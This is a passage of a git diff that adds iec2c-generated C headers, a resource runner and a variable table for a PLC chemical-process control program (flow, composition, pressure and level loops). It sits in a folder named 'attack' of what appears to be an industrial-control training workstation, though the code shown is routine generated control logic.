SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; 